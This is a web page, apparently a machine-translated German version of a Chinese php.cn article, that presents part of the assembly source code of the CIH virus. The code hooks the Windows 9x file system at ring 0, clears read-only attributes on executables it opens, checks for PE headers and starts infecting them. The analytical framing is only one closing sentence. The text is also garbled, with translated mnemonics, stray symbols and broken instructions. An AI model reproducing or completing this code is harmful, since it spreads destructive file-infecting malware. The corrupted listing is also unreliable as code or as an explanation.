jmp ExitRing0Init ;Exit Ring0 level
;Zusammengeführte Codegröße
CodeSizeOfMergeVirusCodeSection = offset $
;Neuer IFSMgr_InstallFileSystemApiHook-Funktionsaufruf
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx; Holen Sie sich die Offset-Adresse der aktuellen Anweisung
add ebx, FileSystemApiHook-@4; Die Differenz plus der Offset ist gleich FileSystemApiHook Offset
push ebx
int 20h; Rufen Sie Vxd auf, um den Hook zu entfernen, der auf FileSystemApiHook zeigt
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h; Verwenden Sie die Register eax, ecx, edx und flags Pop Eax
;Rufen Sie die ursprüngliche IFSMgr_InstallFileSystemApiHook-Funktion auf, um den FileSystemApiHook-Hook zu verbinden
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx <.> drücken eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ;OldFileSystemApiHook-Adresse anpassen
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook-Aufrufadresse
;IFSMgr_FileSystemHook-Aufrufeintrag
FileSystemApiHook:
@3 = FileSystemApiHook
push ad ; save register
call @5
@5:
mov esi, offset ; add esi, VirusGameDataStartAddress- @5 ;esi ist der Offset von FileSystemApiHook
;;Die Differenz plus der Offset von VirusGameDataStartAddress ist gleich dem Offset von VirusGameDataStartAddress
;Testen Sie das „Busy“-Flag, und „Busy“ geht an pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
; Wenn die Datei nicht geöffnet ist, gehe zu prevhook
lea ebx, [esp+20h+04h +04h] ;ebx ist die Adresse von FunctionNum
;Das Aufrufformat des Dateisystem-Hooks ist wie folgt
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
🎜>; Bestimmen Sie, ob dieser Aufruf eine Datei öffnen soll. Wenn nicht, springen Sie zum vorherigen Datei-Hook
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (OnBusy -@6)[esi] ; OnBusy aktivieren ;Setzen Sie das „Busy“-Flag auf „Busy“
;Rufen Sie den durch den Dateipfad angegebenen Laufwerksbuchstaben ab und geben Sie dann den ein Laufwerksname in FileNameBuffer
;Wenn der Laufwerksbuchstabe 03h ist, bedeutet dies, dass das Laufwerk C-Laufwerk ist
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; esi zeigt auf FileNameBuffer
push esi; save
mov al, [ebx +04h] ;ebx+4 ist die Adresse der Festplattennummer
;; Ist es eine UNC-Adresse (Universal Naming Conventions)? Wenn ja, transfer to CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath
Add al, 40h
mov ah, ':'
mov [esi], eax ; in die Form „X:“ verarbeitet, d. h. nach dem Laufwerksbuchstaben einen Doppelpunkt hinzufügen
inc esi
inc esi
; call method
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Zeichensatz
push FileNameBufferSize ;Zeichenlänge
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
eax hinzufügen, 04h
push eax ; Uni-Zeichen erste Adresse
push esi ; BCS-Zeichen erste Adresse
int 20h ; Call UniToBCSPath
UniToBCSPath = $
dd 00400041h Call id
add esp, 04h*04h
;Bestimmen Sie, ob die Datei eine EXE-Datei ist
cmp [esi+ eax-04h], „EXE.“ ], 'KCUF'
jne DisableOnBusy
ENDIF
;Beurteilungsdatei Ob vorhanden, wenn nicht, gehen Sie zu DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; Holen Sie sich die Dateiattribute
mov ax, 4300h
int 20h; Rufen Sie IFSMgr_Ring0_FileIO = $
dd 00400032h auf; 🎜 >
jc DisableOnBusy
push ecx
; IFSMgr_Ring0_FileIO-Adresse abrufen
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
; Stellen Sie fest, ob die Datei schreibgeschützt ist. Wenn ja, ändern Sie die Dateiattribute. Andernfalls gehen Sie zu OpenFile
test cl, 01h
jz OpenFile
mov ax, 4301h
xor ecx, ecx
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Dateiattribute zu ändern, um die Datei beschreibbar zu machen
;Öffnen Sie die Datei
OpenFile:
;Dateiattribute
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi ist die erste Adresse des Dateinamens
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Datei zu öffnen
xchg ebx, eax ;Speichern Sie das Dateihandle in ebx
test cl, 01h
jz IsOpenFileOK
;Dateiattribute wiederherstellen
mov ax, 4301h
call edi;Dateiattribute wiederherstellen
;Ob die Datei erfolgreich geöffnet wurde, wenn nicht, dann wenden Sie sich an DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy
; Die Datei wurde erfolgreich geöffnet
push esi; Push die erste Adresse des Dateinamen-Datenbereichs auf den Stapel
pushf ;CF = 0, Flag speichern
add esi, DataBuffer-@7;
;Den Offset des neuen Dateiheaders abrufen
xor eax, eax
mov ah, 0d6h;Die Lesedatei-Funktionsnummer (R0_READFILE) von IFSMgr_Ring0_FileIO
;Um Minimieren Sie die Länge des Virencodes, speichern Sie eax in ebp
mov ebp, eax
Push 00000004h ; Lesen Sie 4 Bytes
pop ecx
push 0000003ch ; Lesen Sie den Windows-Datei-Header-Offset unter DOS Datei-Header-Offset 3ch
pop edx
call edi ; Read File to esi
mov edx, [esi] ; Windows-Datei-Header-Offset zu edx
; infizierte Markierung des Grafikdatei-Headers
dec edx
mov eax, ebp ; Funktionsnummer
; Datei nach esi lesen
; bestimmen Sie, ob es sich um PE handelt ob es infiziert wurde
; Bestimmen Sie, ob es sich um eine selbstextrahierende WinZip-Datei handelt. Wenn ja, wird sie nicht mit Self-Extractor infiziert *
cmp dword ptr [esi], 00455000h; PE-Datei (Markierung „PE/0/0“)
jne CloseFile; Wenn nicht, schließen Sie die Datei
;Wenn es sich um eine PE-Datei handelt und sie nicht infiziert ist, beginnen Sie mit der Infektion der Datei
push ebx;Datei-Handle speichern
push 00h
;Virusinfektionsflagge setzen
push 01h ; Markieren Sie die Größe
push edx ; zeigt auf PE-Datei-Header-Offset 00h
push edi ; edi ist die Adresse von IFSMgr_Ring0_FileIO
mov dr1, esp ; save esp
; Set NewAddressOfEntryPoint Entry
; Read file header
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ; Um 2 Bytes zu lesen
edx hinzufügen, 07h ;PE-Dateiheader +07h Für NumberOfSections (Anzahl der Blöcke)
rufen Sie edi auf; lesen Sie NumberOfSections (Anzahl der Blöcke) zu esi
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; file pointer
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax;
;Setzen Sie den Wert von edx an den Anfang der Dateivirus-Codeblocktabelle
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+ 12h] ; edx ist der Offset der Virencode-Blocktabelle
; Die Größe von
mov al, SizeOfScetionTable ; Die Größe jedes Blocktabelleneintrags
mov cl, (NumberOfSections-@8)[esi]
mul cl ; Die Multiplikation jedes Blocktabelleneintrags Die Anzahl der Blöcke entspricht der Größe der Blocktabelle
; Viruscode-Blocktabelle
lea esi, (StartOfSectionTable-@8)[esi]; zeigt auf die erste Adresse der Blocktabelle (im dynamischen Datenbereich des Virus)
Das Obige ist der Inhalt von Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [3]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn)!